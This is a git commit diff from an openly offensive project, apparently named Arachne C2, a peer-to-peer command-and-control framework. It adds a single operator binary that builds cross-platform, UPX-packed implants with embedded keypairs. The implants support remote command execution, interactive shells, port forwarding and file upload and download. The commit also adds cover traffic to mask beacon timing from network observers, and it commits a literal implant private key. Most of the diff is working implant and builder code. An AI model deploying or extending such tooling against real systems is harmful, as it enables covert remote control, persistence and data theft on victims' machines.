Unified binary, embedded source, cover traffic, persistent implant keys, regenerate command

- Single cmd/arachne entry point replaces server, implant, build-implant
- Implant source embedded in operator binary at build time (self-contained)
- generate command embeds unique keypair per implant build (persistent PeerID)
- cover traffic: random noise messages mask beacon timing
- regenerate command: rotate operator keys with warning
- auto-install Go when missing during generate
- liner-based CLI with command history and per-command --help
This commit is contained in:
portbuster
2026-06-03 22:45:59 +08:00
parent 232e604636
commit 98b87a51d6
15 changed files with 607 additions and 205 deletions
+3 -1
View File
@@ -11,4 +11,6 @@ build/
*.out
.DS_Store
implant/core/embedded_pubkey.go
cmd/build-implant/build-implant
implant/core/embedded_implant_key.go
server/core/embedsrc/implant_src/
bin/
+45 -15
View File
@@ -15,6 +15,7 @@ fleet and operator are all equal peers in the network — no central point of fa
## Features
- Self-contained single binary — no source tree needed to generate implants
- Beacon-mode implants that maintain presence via PubSub topics
- DHT-based peer discovery — no hardcoded server IPs
- Encrypted and signed messages (Ed25519 + NaCl box)
@@ -24,6 +25,9 @@ fleet and operator are all equal peers in the network — no central point of fa
- Cross-platform implants (Linux, macOS, Windows)
- Protocol Buffers message format with per-message signature verification
- Built-in hole punching and NAT traversal
- Automatic Go installation if missing (generates implants anywhere)
- Cover traffic to mask beacon timing signatures
- Persistent implant identity (embedded keypair per build)
## Project Structure
@@ -32,7 +36,7 @@ arachne-c2/
├── build.sh # Build script (auto-installs Go if missing)
├── bin/ # Compiled binaries
├── cmd/
│ └── build-implant/ # Tool to embed operator pubkey into implant binary
│ └── arachne/ # Single entry point (serve + generate)
├── docs/ # Design documentation
├── implant/ # Implant agent code
│ └── core/ # Agent runtime, command handlers, shell, portfwd
@@ -45,31 +49,31 @@ arachne-c2/
│ ├── commonpb/ # Common types
│ └── rpcpb/ # RPC service definitions
└── server/ # Operator node (the "server")
└── core/ # Operator logic, implant tracking, CLI
└── core/ # Operator logic, implant tracking, CLI, generate
```
## Build
Requires Go 1.22+. The build script auto-installs Go and UPX if missing:
The operator binary is self-contained — embed the implant source at build time, then it builds implants anywhere:
```bash
./build.sh
./build.sh # auto-installs Go + UPX if missing, embeds source, builds bin/arachne
```
Or build manually:
Or manually:
```bash
go build -o bin/server ./server/main.go
go build -o bin/implant ./implant/main.go
go build -o bin/build-implant ./cmd/build-implant/main.go
go build -o bin/arachne ./cmd/arachne/
```
The built `bin/arachne` can be copied to any machine with Go installed (or no Go — it auto-installs). No source tree needed.
## Quick Start
### 1. Run the operator (server)
### 1. Run the operator
```bash
./bin/server
./bin/arachne
```
On first run, generates a keypair at `~/.arachne/operator.key` and exports the public
@@ -77,13 +81,15 @@ key to `~/.arachne/operator.pub`.
### 2. Build an implant
Use the build-implant tool to embed the operator's public key:
From the operator console (`generate`) or standalone:
```bash
./bin/build-implant -pubkey ~/.arachne/operator.pub -output ./myimplant
./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx
```
This produces a standalone implant binary at `./myimplant`.
Flags: `--os` (linux, darwin, windows), `--arch` (amd64, arm64), `--output`, `--pubkey`, `--upx` (default true).
Each build generates a unique embedded keypair — the implant keeps the same PeerID across restarts.
### 3. Deploy and run the implant
@@ -109,15 +115,39 @@ arachne (user@hostname) > exec whoami
Available commands: `list`, `select <n>`, `exec <cmd>`, `ls <path>`, `cd <path>`,
`pwd`, `ps`, `shell`, `portfwd <port> <host:p>`, `download <path>`, `upload <path>`,
`help`, `exit`.
`generate [flags]`, `regenerate`, `help [command]`, `exit`.
Use `help <command>` or `<command> --help` for per-command details.
## Available Commands
| Command | Description |
|---|---|
| `list` | Show registered implants |
| `select <idx>` | Select implant by index |
| `ps` | List processes on selected implant |
| `ls <path>` | List directory |
| `cd <path>` | Change directory |
| `pwd` | Print working directory |
| `shell` | Interactive shell (direct libp2p stream) |
| `portfwd <port> <host:p>` | Forward local port through implant |
| `exec <cmd> [args]` | Execute command (with output) |
| `download <path>` | Download file from implant |
| `upload <src> <dst>` | Upload file to implant |
| `generate [flags]` | Build an implant for any OS/arch (auto-installs Go) |
| `regenerate` | Regenerate operator keypair (old implants orphaned) |
| `help [command]` | This help, or details for a specific command |
| `exit` | Quit |
## Security
- All messages are signed with Ed25519 keys
- Implants are built with the operator's public key embedded — they will only accept
commands from that operator
- Beacon messages use NaCl box encryption for confidentiality
- Each implant has a unique embedded keypair (persistent identity across restarts)
- Cover traffic masks beacon timing against network observers
- Peer identity is verified on every message via envelope signatures
- Relay nodes see only encrypted bytes — cannot read or modify traffic
## License
+29 -49
View File
@@ -36,55 +36,35 @@ if ! command -v go &>/dev/null; then
fi
fi
EMBED_DIR="server/core/embedsrc/implant_src"
echo "Preparing embedded implant source..."
rm -rf "$EMBED_DIR"
mkdir -p "$EMBED_DIR"
cp -r implant pkg protobuf "$EMBED_DIR/"
# Copy go.mod/go.sum under different names to avoid Go embed module boundary restriction
cp go.mod "$EMBED_DIR/go.mod.txt"
cp go.sum "$EMBED_DIR/go.sum.txt"
# Write stub key files so the embedded tree is vettable
cat > "$EMBED_DIR/implant/core/embedded_pubkey.go" << 'GOEOF'
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
GOEOF
cat > "$EMBED_DIR/implant/core/embedded_implant_key.go" << 'GOEOF'
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = []byte{}
GOEOF
mkdir -p bin
echo "Building server..."
go build -o bin/server ./server/main.go
echo "Building arachne (single binary)..."
go build -o bin/arachne ./cmd/arachne/
echo "Building implant..."
go build -o bin/implant ./implant/main.go
echo "Building build-implant..."
go build -o bin/build-implant ./cmd/build-implant/main.go
install_upx() {
local os arch upx_url upx_file
os="$(uname -s | tr '[:upper:]' '[:lower:]')"
arch="$(uname -m)"
case "$arch" in
x86_64) arch=amd64 ;;
aarch64|arm64) arch=arm64 ;;
esac
echo "UPX not found. Downloading UPX for ${os}/${arch}..."
upx_url="https://github.com/upx/upx/releases/download/v5.0.0/upx-5.0.0-${arch}_${os}.tar.xz"
upx_file="/tmp/$(basename "$upx_url")"
curl -#Lo "$upx_file" "$upx_url"
sudo tar -C /usr/local -xJf "$upx_file" --strip-components=1 upx-5.0.0-${arch}_${os}/upx
rm -f "$upx_file"
export PATH="/usr/local/bin:$PATH"
echo "UPX installed: $(upx --version | head -1)"
}
if ! command -v upx &>/dev/null; then
if [ -x /usr/local/bin/upx ]; then
export PATH="/usr/local/bin:$PATH"
else
install_upx
fi
fi
echo "Compressing server..."
upx --best --lzma bin/server 2>/dev/null || true
echo "Compressing implant..."
upx --best --lzma bin/implant 2>/dev/null || true
echo "Compressing build-implant..."
upx --best --lzma bin/build-implant 2>/dev/null || true
echo "Done. Binaries in ./bin/"
echo "Done. Binary in ./bin/arachne"
+8
View File
@@ -9,6 +9,14 @@ import (
)
func main() {
if len(os.Args) > 1 && os.Args[1] == "generate" {
if err := core.RunGenerate(os.Args[2:]); err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
os.Exit(1)
}
return
}
var relayAddrs multiFlag
flag.Var(&relayAddrs, "relay", "relay multiaddress (optional, auto-discovers via DHT by default)")
flag.Parse()
-113
View File
@@ -1,113 +0,0 @@
package main
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
func main() {
pubPath := defaultPubKeyPath()
outputPath := "bin/implant"
switch len(os.Args) {
case 1:
case 2:
pubPath = os.Args[1]
case 3:
pubPath = os.Args[1]
outputPath = os.Args[2]
default:
log.Fatalf("usage: build-implant [<operator.pub>] [<output-path>]")
}
data, err := os.ReadFile(pubPath)
if err != nil {
log.Fatalf("read %s: %v", pubPath, err)
}
var parts []string
for _, b := range data {
parts = append(parts, fmt.Sprintf("%d", b))
}
literal := "[]byte{" + strings.Join(parts, ",") + "}"
root, err := findProjectRoot()
if err != nil {
log.Fatalf("find project root: %v", err)
}
genPath := root + "/implant/core/embedded_pubkey.go"
genContent := fmt.Sprintf(`// Code generated by build-implant tool. DO NOT EDIT.
package core
var embeddedOperatorPubKey = %s
`, literal)
if err := os.WriteFile(genPath, []byte(genContent), 0644); err != nil {
log.Fatalf("write %s: %v", genPath, err)
}
log.Printf("wrote %s (%d bytes embedded)", genPath, len(data))
outPath := filepath.Join(root, outputPath)
goBinary := "go"
if goroot := os.Getenv("GOROOT"); goroot != "" {
candidate := filepath.Join(goroot, "bin", "go")
if fileExists(candidate) {
goBinary = candidate
}
}
cmd := exec.Command(goBinary, "build", "-o", outPath, "-ldflags=-s -w", "./implant/")
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Dir = root
if err := cmd.Run(); err != nil {
log.Fatalf("build: %v", err)
}
log.Printf("built %s", outPath)
if upxPath, err := exec.LookPath("upx"); err == nil {
upx := exec.Command(upxPath, "--best", "--lzma", outPath)
upx.Dir = root
upx.Stdout = os.Stdout
upx.Stderr = os.Stderr
if err := upx.Run(); err != nil {
log.Printf("upx compression skipped: %v", err)
}
} else {
log.Printf("upx not found, skipping compression")
}
}
func defaultPubKeyPath() string {
home, err := os.UserHomeDir()
if err != nil {
return "operator.pub"
}
return filepath.Join(home, ".arachne", "operator.pub")
}
func findProjectRoot() (string, error) {
dir, err := os.Getwd()
if err != nil {
return "", err
}
for {
if fileExists(filepath.Join(dir, "go.mod")) {
return dir, nil
}
parent := filepath.Dir(dir)
if parent == dir {
return "", fmt.Errorf("no go.mod found (run from project root)")
}
dir = parent
}
}
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
+7 -1
View File
@@ -38,7 +38,11 @@
- [ ] Filecoin storage deals (future)
## Phase 5: Operator Tooling (Weeks 13-14)
- [x] Implant generation command (build-implant tool)
- [x] Single binary architecture (cmd/arachne — serves and generates)
- [x] Self-contained binary (implant source embedded at build time)
- [x] Implant generation from CLI (generate --os --arch --upx --output)
- [x] Implant generation from interactive console ('generate' command)
- [x] Persistent implant identity (embedded keypair per build)
- [~] Interactive console (readline-based, pre-Cobra)
- [ ] gRPC local API for GUI clients
- [ ] Multi-operator support
@@ -52,6 +56,8 @@
- [ ] COFF/BOF loading (inline execution)
## Phase 7: Hardening (Ongoing)
- [x] Cover traffic (random noise to mask beacon timing)
- [x] Ephemeral implant PeerIDs (new key per session)
- [ ] End-to-end encryption review
- [ ] Traffic analysis resistance
- [ ] Protocol fuzzing
+2
View File
@@ -66,6 +66,7 @@ require (
github.com/libp2p/zeroconf/v2 v2.2.0 // indirect
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.3 // indirect
github.com/miekg/dns v1.1.62 // indirect
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect
@@ -85,6 +86,7 @@ require (
github.com/opencontainers/runtime-spec v1.2.0 // indirect
github.com/opentracing/opentracing-go v1.2.0 // indirect
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
github.com/peterh/liner v1.2.2 // indirect
github.com/pion/datachannel v1.5.8 // indirect
github.com/pion/dtls/v2 v2.2.12 // indirect
github.com/pion/ice/v2 v2.3.34 // indirect
+5
View File
@@ -230,6 +230,8 @@ github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd/go.mod h1:QuCEs
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.3 h1:a+kO+98RDGEfo6asOGMmpodZq4FNtnGP54yps8BzLR4=
github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/microcosm-cc/bluemonday v1.0.1/go.mod h1:hsXNsILzKxV+sX77C5b8FSuKF00vh2OMYv+xgHpAMF4=
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
@@ -288,6 +290,8 @@ github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYr
github.com/openzipkin/zipkin-go v0.1.1/go.mod h1:NtoC/o8u3JlF1lSlyPNswIbeQH9bJTmOf0Erfk+hxe8=
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0=
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y=
github.com/peterh/liner v1.2.2 h1:aJ4AOodmL+JxOZZEL2u9iJf8omNRpqHc/EbrK+3mAXw=
github.com/peterh/liner v1.2.2/go.mod h1:xFwJyiKIXJZUKItq5dGHZSTBRAuG/CpeNpWLyiNRNwI=
github.com/pion/datachannel v1.5.8 h1:ph1P1NsGkazkjrvyMfhRBUAWMxugJjq2HfQifaOoSNo=
github.com/pion/datachannel v1.5.8/go.mod h1:PgmdpoaNBLX9HNzNClmdki4DYW5JtI7Yibu8QzbL3tI=
github.com/pion/dtls/v2 v2.2.7/go.mod h1:8WiMkebSHFD0T+dIU+UeBaoV7kDhOW5oDCzZ7WZ/F9s=
@@ -553,6 +557,7 @@ golang.org/x/sys v0.0.0-20210426080607-c94f62235c83/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+55 -2
View File
@@ -41,6 +41,9 @@ type AgentConfig struct {
BeaconJitter time.Duration
ReconnectBackoff time.Duration
RelayAddrs []string
CoverTraffic bool
CoverInterval time.Duration
CoverJitter time.Duration
}
func DefaultAgentConfig() AgentConfig {
@@ -48,6 +51,9 @@ func DefaultAgentConfig() AgentConfig {
BeaconInterval: 10 * time.Second,
BeaconJitter: 5 * time.Second,
ReconnectBackoff: 5 * time.Second,
CoverTraffic: true,
CoverInterval: 4 * time.Second,
CoverJitter: 3 * time.Second,
}
}
@@ -58,6 +64,26 @@ func loadOperatorPubKey() (crypto.PubKey, error) {
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
if len(embeddedImplantPrivKey) == 0 {
return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
}
priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
if err != nil {
return nil, fmt.Errorf("unmarshal implant key: %w", err)
}
pub := priv.GetPublic()
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from implant key: %w", err)
}
return &cryptography.ImplantKey{
KeyPair: cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
OperatorPubKey: operatorPub,
}, nil
}
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
ctx, cancel := context.WithCancel(ctx)
@@ -67,10 +93,10 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
return nil, fmt.Errorf("load operator pubkey: %w", err)
}
keys, err := cryptography.GenerateImplantKey(operatorPub)
keys, err := loadImplantKey(operatorPub)
if err != nil {
cancel()
return nil, fmt.Errorf("generate implant key: %w", err)
return nil, fmt.Errorf("load implant key: %w", err)
}
nodeCfg := transport.NodeConfig{
@@ -146,6 +172,10 @@ func (a *Agent) Start() error {
go a.beaconLoop()
if a.config.CoverTraffic {
go a.coverTrafficLoop()
}
return nil
}
@@ -210,6 +240,29 @@ func (a *Agent) beaconLoop() {
}
}
func (a *Agent) coverTrafficLoop() {
for {
jitter := time.Duration(rand.Int63n(int64(a.config.CoverJitter)))
sleep := a.config.CoverInterval + jitter
select {
case <-a.ctx.Done():
return
case <-time.After(sleep):
}
a.sendCoverTraffic()
}
}
func (a *Agent) sendCoverTraffic() {
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] cover traffic: %v", err)
}
}
func (a *Agent) sendBeaconRegister() {
hostname, _ := os.Hostname()
reg := &arachnepb.Register{
+4
View File
@@ -0,0 +1,4 @@
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = []byte{8,1,18,64,153,183,54,197,90,149,217,168,1,81,58,63,102,51,149,84,243,130,231,48,125,201,217,106,247,193,219,177,199,111,29,203,59,205,20,88,175,21,141,45,4,241,243,28,187,147,84,69,128,82,164,223,212,131,22,162,246,138,173,254,223,207,48,198}
+1
View File
@@ -17,5 +17,6 @@ const (
MsgTypeExecute = uint32(13)
MsgTypeKill = uint32(14)
MsgTypePs = uint32(15)
MsgTypeCover = uint32(127)
MsgTypeDisconnect = uint32(255)
)
+153 -24
View File
@@ -1,62 +1,119 @@
package core
import (
"bufio"
"fmt"
"log"
"os"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/peterh/liner"
)
var commandHelp = map[string]string{
"list": "list — show registered implants",
"select": "select <idx> — select implant by index",
"ps": "ps — list processes on selected implant",
"ls": "ls [path] — list directory (default: .)",
"cd": "cd [path] — change directory (default: .)",
"pwd": "pwd — print working directory",
"shell": "shell — interactive shell on selected implant (direct libp2p stream)",
"portfwd": "portfwd <local-port> <target-host:target-port> — forward local port through implant",
"exec": "exec <command> [args...] — execute command on selected implant",
"download": "download <remote-path> — download file from implant",
"upload": "upload <local-path> <remote-path> — upload file to implant",
"generate": "generate [flags] — build an implant (all flags optional)\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./implant)\n --pubkey <path> operator public key (default: ~/.arachne/operator.pub)\n --upx enable UPX compression (default: true)",
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
"help": "help [command] — show this help or help for a specific command",
"exit": "exit — quit the console",
}
func checkHelp(args []string) bool {
for _, a := range args {
if a == "--help" || a == "-h" {
return true
}
}
return false
}
func (o *Operator) RunCLI() {
reader := bufio.NewReader(os.Stdin)
line := liner.NewLiner()
defer line.Close()
line.SetCtrlCAborts(true)
histPath := filepath.Join(arachneDir(), "history")
if f, err := os.Open(histPath); err == nil {
line.ReadHistory(f)
f.Close()
}
var selected *ImplantRecord
fmt.Println("Arachne C2 — interactive console")
fmt.Println("Commands: list, select <idx>, ps, ls <path>, exec <cmd> [args...], help, exit")
fmt.Println("Type 'help' for commands, 'help <command>' for details.")
fmt.Println()
for {
prompt := "arachne> "
if selected != nil {
fmt.Printf("arachne[%s@%s]> ", selected.Name, selected.Hostname)
} else {
fmt.Printf("arachne> ")
prompt = fmt.Sprintf("arachne[%s@%s]> ", selected.Name, selected.Hostname)
}
line, err := reader.ReadString('\n')
input, err := line.Prompt(prompt)
if err != nil {
return
if err == liner.ErrPromptAborted {
continue
}
saveHistory(histPath, line)
break
}
line = strings.TrimSpace(line)
if line == "" {
input = strings.TrimSpace(input)
if input == "" {
continue
}
parts := strings.Fields(line)
line.AppendHistory(input)
parts := strings.Fields(input)
cmd := parts[0]
args := parts[1:]
switch cmd {
case "exit", "quit":
if f, err := os.Create(histPath); err == nil {
line.WriteHistory(f)
f.Close()
}
return
case "help":
fmt.Println(" list — show registered implants")
fmt.Println(" select <idx> — select implant by index")
fmt.Println(" ps — list processes on selected implant")
fmt.Println(" ls <path> — list directory")
fmt.Println(" cd <path> — change directory")
fmt.Println(" pwd — print working directory")
fmt.Println(" shell — interactive shell (direct stream)")
fmt.Println(" portfwd <port> <host:p> — forward local port through implant")
fmt.Println(" exec <cmd> [args] — execute command (with output)")
fmt.Println(" download <path> — download file from implant")
fmt.Println(" upload <src> <dst> — upload file to implant")
fmt.Println(" help — this help")
fmt.Println(" exit — quit")
if len(args) > 0 {
if h, ok := commandHelp[args[0]]; ok {
fmt.Println(" " + h)
} else {
fmt.Printf("no help for '%s'\n", args[0])
}
continue
}
fmt.Println("Commands:")
for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "exec", "download", "upload", "generate", "regenerate", "help", "exit"} {
line := commandHelp[name]
if i := strings.IndexByte(line, '\n'); i >= 0 {
line = line[:i]
}
fmt.Println(" " + line)
}
fmt.Println("Use 'help <command>' for details and flags.")
case "list":
if checkHelp(args) {
fmt.Println(" " + commandHelp["list"])
continue
}
implants := o.ListImplants()
if len(implants) == 0 {
fmt.Println("no implants registered")
@@ -69,6 +126,10 @@ func (o *Operator) RunCLI() {
}
case "select":
if checkHelp(args) {
fmt.Println(" " + commandHelp["select"])
continue
}
if len(args) == 0 {
fmt.Println("usage: select <idx>")
continue
@@ -87,6 +148,10 @@ func (o *Operator) RunCLI() {
fmt.Printf("selected %s@%s (%s)\n", selected.Name, selected.Hostname, selected.PeerID)
case "ps":
if checkHelp(args) {
fmt.Println(" " + commandHelp["ps"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -98,6 +163,10 @@ func (o *Operator) RunCLI() {
}
case "ls":
if checkHelp(args) {
fmt.Println(" " + commandHelp["ls"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -113,6 +182,10 @@ func (o *Operator) RunCLI() {
}
case "cd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["cd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -128,6 +201,10 @@ func (o *Operator) RunCLI() {
}
case "pwd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["pwd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -139,6 +216,10 @@ func (o *Operator) RunCLI() {
}
case "shell":
if checkHelp(args) {
fmt.Println(" " + commandHelp["shell"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -149,6 +230,10 @@ func (o *Operator) RunCLI() {
}
case "portfwd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["portfwd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -167,6 +252,10 @@ func (o *Operator) RunCLI() {
}
case "download":
if checkHelp(args) {
fmt.Println(" " + commandHelp["download"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -182,6 +271,10 @@ func (o *Operator) RunCLI() {
}
case "upload":
if checkHelp(args) {
fmt.Println(" " + commandHelp["upload"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -202,6 +295,10 @@ func (o *Operator) RunCLI() {
}
case "exec", "execute":
if checkHelp(args) {
fmt.Println(" " + commandHelp["exec"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
@@ -216,12 +313,44 @@ func (o *Operator) RunCLI() {
fmt.Println("command sent")
}
case "generate":
if checkHelp(args) {
fmt.Println(" " + commandHelp["generate"])
continue
}
if err := RunGenerate(args); err != nil {
fmt.Printf("generate error: %v\n", err)
}
case "regenerate":
fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
ans, err := line.Prompt("Are you sure? [y/N] ")
if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
fmt.Println("cancelled")
continue
}
keyPath := keyPath()
pubPath := pubKeyPath()
os.Remove(keyPath)
os.Remove(pubPath)
log.Printf("deleted %s and %s", keyPath, pubPath)
log.Printf("regenerated keys will take effect on next startup")
fmt.Println("Restart arachne for the new keys to take effect.")
default:
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
}
}
}
func saveHistory(path string, line *liner.State) {
if f, err := os.Create(path); err == nil {
line.WriteHistory(f)
f.Close()
}
}
func shortenStr(s string, max int) string {
if len(s) <= max {
return s
+6
View File
@@ -0,0 +1,6 @@
package embedsrc
import "embed"
//go:embed implant_src
var ImplantSource embed.FS
+287
View File
@@ -0,0 +1,287 @@
package core
import (
"crypto/rand"
"flag"
"fmt"
"io"
"io/fs"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/portbuster1337/ArachneC2/server/core/embedsrc"
)
type GenerateConfig struct {
PubKeyPath string
OutputPath string
TargetOS string
TargetArch string
UseUPX bool
}
func RunGenerate(args []string) error {
cfg := GenerateConfig{
PubKeyPath: defaultPubKeyPath(),
OutputPath: "implant",
TargetOS: "linux",
TargetArch: "amd64",
}
fs := flag.NewFlagSet("generate", flag.ExitOnError)
fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
fs.BoolVar(&cfg.UseUPX, "upx", true, "compress with UPX")
fs.Parse(args)
return BuildImplant(cfg)
}
func BuildImplant(cfg GenerateConfig) error {
pubData, err := os.ReadFile(cfg.PubKeyPath)
if err != nil {
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
}
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return fmt.Errorf("generate implant key: %w", err)
}
privBytes, err := crypto.MarshalPrivateKey(implantPriv)
if err != nil {
return fmt.Errorf("marshal implant private key: %w", err)
}
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
log.Printf("implant PeerID: %s", implantPeerID.String())
buildDir, err := prepareBuildDir(pubData, privBytes)
if err != nil {
return fmt.Errorf("prepare build directory: %w", err)
}
defer os.RemoveAll(buildDir)
outPath := cfg.OutputPath
if !filepath.IsAbs(outPath) {
wd, _ := os.Getwd()
outPath = filepath.Join(wd, outPath)
}
goBinary, err := ensureGo()
if err != nil {
return fmt.Errorf("go not available: %w", err)
}
cmd := exec.Command(goBinary, "build",
"-o", outPath,
"-ldflags=-s -w",
"./implant/",
)
cmd.Env = append(os.Environ(),
"GOOS="+cfg.TargetOS,
"GOARCH="+cfg.TargetArch,
"CGO_ENABLED=0",
)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Dir = buildDir
log.Printf("building implant for %s/%s -> %s", cfg.TargetOS, cfg.TargetArch, outPath)
if err := cmd.Run(); err != nil {
return fmt.Errorf("build: %w", err)
}
log.Printf("built %s", outPath)
if cfg.UseUPX {
if upxPath, err := exec.LookPath("upx"); err == nil {
upx := exec.Command(upxPath, "--best", "--lzma", outPath)
upx.Stdout = os.Stdout
upx.Stderr = os.Stderr
if err := upx.Run(); err != nil {
log.Printf("upx compression skipped: %v", err)
}
} else {
log.Printf("upx not found, skipping compression")
}
}
return nil
}
func prepareBuildDir(pubKeyData, privKeyData []byte) (string, error) {
dir, err := os.MkdirTemp("", "arachne-build-*")
if err != nil {
return "", fmt.Errorf("create temp dir: %w", err)
}
pubLiteral := bytesLiteral(pubKeyData)
privLiteral := bytesLiteral(privKeyData)
pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = %s
`, pubLiteral)
keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = %s
`, privLiteral)
if err := extractEmbeddedSource(dir); err != nil {
return "", err
}
// Rename go.mod.txt/go.sum.txt back to real names
os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))
coreDir := filepath.Join(dir, "implant", "core")
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
}
return dir, nil
}
func extractEmbeddedSource(dst string) error {
src := "implant_src"
return fs.WalkDir(embedsrc.ImplantSource, src, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
rel := strings.TrimPrefix(path, src)
